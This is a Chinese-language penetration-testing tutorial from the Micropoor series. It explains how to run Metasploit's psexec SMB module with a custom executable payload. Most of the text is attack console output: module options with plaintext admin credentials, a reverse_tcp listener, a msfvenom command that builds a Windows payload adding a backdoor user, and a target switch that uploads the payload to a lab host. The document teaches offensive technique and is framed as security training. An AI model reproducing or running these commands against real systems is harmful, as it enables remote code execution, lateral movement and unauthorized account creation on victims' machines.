专注APT攻击与防御

https://micropoor.blogspot.com/

MSF的exploit模块下是支持set payload的，同样在复杂的网络环境下，许多模块也同样支持自定义的payload。可以更好的配合第三方框架，如第十一课中提到的Veil-Evasion等。

以exploit/windows/smb/psexec为demo。

攻击机配置如下：

1 msf exploit(windows/smb/psexec) > show options 2

3 Module options (exploit/windows/smb/psexec): 4

5 Name Current Setting Required Description

6 ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐

7 RHOST 192.168.1.119 yes The target address

8 RPORT 445 yes The SMB service port (TCP)

9 SERVICE\_DESCRIPTION no Service description to to be used on target fo r pretty listing

10 SERVICE\_DISPLAY\_NAME no The service display name

11 SERVICE\_NAME no The service name

12 SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMI N$,C$,...) or a normal read/write folder share

13 SMBDomain . no The Windows domain to use for authentication

14 SMBPass 123456 no The password for the specified username

15 SMBUser administrator no The username to authenticate as 16

17

18 Payload options (windows/meterpreter/reverse\_tcp): 19

20 Name Current Setting Required Description

21 ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐

22 EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, proces s, none)

23 LHOST 192.168.1.5 yes The listen address (an interface may be specifi ed)

24 LPORT 53 yes The listen port 25

26

27 Exploit target: 28

29 Id Name

30 ‐‐ ‐‐‐‐

31 0 Automatic 32

需设置一非，常用选项：

1 msf exploit(windows/smb/psexec) > set EXE::CUSTOM /var/www/html/bin\_tc p\_x86\_53.exe

2 EXE::CUSTOM => /var/www/html/bin\_tcp\_x86\_53.exe

靶机当前端口如下：

攻击机执行：

靶机端口变化如下：

虽报错，但并不影响执行。

注意：

Psexec创建一个服务后，来运行可执行文件（如Micropoor.exe）。但是将可执行文件作为服务，payload必须接受来自控制管理器的命令，否则将会执行失败。而psexec创建服务后，将随之停止，该payload处于挂起模式。

参考该服务源码：https://github.com/rapid7/metasploit- framework/blob/master/data/templates/src/pe/exe/service/service.c，payload启动后，将会在过一段时间内退出。并强制终止。

故该参数一般用于adduser。配合adduser\_payload。或者配合一次性执行完毕非常连

接的payload。如下载。抓明文密码等。不适合需长连接通信的payload。

1 root@John:/tmp# msfvenom ‐p windows/adduser PASS=Micropoor$123 USER=Mi cropoor ‐f exe >adduser.exe

2 [‐] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

3 [‐] No arch selected, selecting arch: x86 from the payload

4 No encoder or badchars specified, outputting raw payload

5 Payload size: 279 bytes

6 Final size of exe file: 73802 bytes 7

同样可以配合target的改变来解决控制管理器的强制命令接收。

攻击机设置：

1 msf exploit(windows/smb/psexec) > show targets 2

3 Exploit targets: 4

5 Id Name

6 ‐‐ ‐‐‐‐

7 0 Automatic

8 1 PowerShell

9 2 Native upload

10 3 MOF upload

11 msf exploit(windows/smb/psexec) > set target 2

12 target => 2

13 msf exploit(windows/smb/psexec) > exploit 14

15 [\*] Started reverse TCP handler on 192.168.1.5:53

16 [\*] 192.168.1.119:445 ‐ Connecting to the server...

17 [\*] 192.168.1.119:445 ‐ Authenticating to 192.168.1.119:445 as user 'a dministrator'...

18 [\*] 192.168.1.119:445 ‐ Uploading payload... kKwZpPRs.exe

19 [\*] 192.168.1.119:445 ‐ Using custom payload /var/www/html/bin\_tcp\_x86 \_53.exe, RHOST and RPORT settings will be ignored!

20 [\*] 192.168.1.119:445 ‐ Created \kKwZpPRs.exe...

21 [‐] 192.168.1.119:445 ‐ Unable to remove the service, ERROR\_CODE:

22 [‐] 192.168.1.119:445 ‐ Exploit failed: RubySMB::Error::UnexpectedStat usCode STATUS\_PIPE\_EMPTY

23 [\*] Exploit completed, but no session was created.

目标机：

在执行payload即可。

Micropoor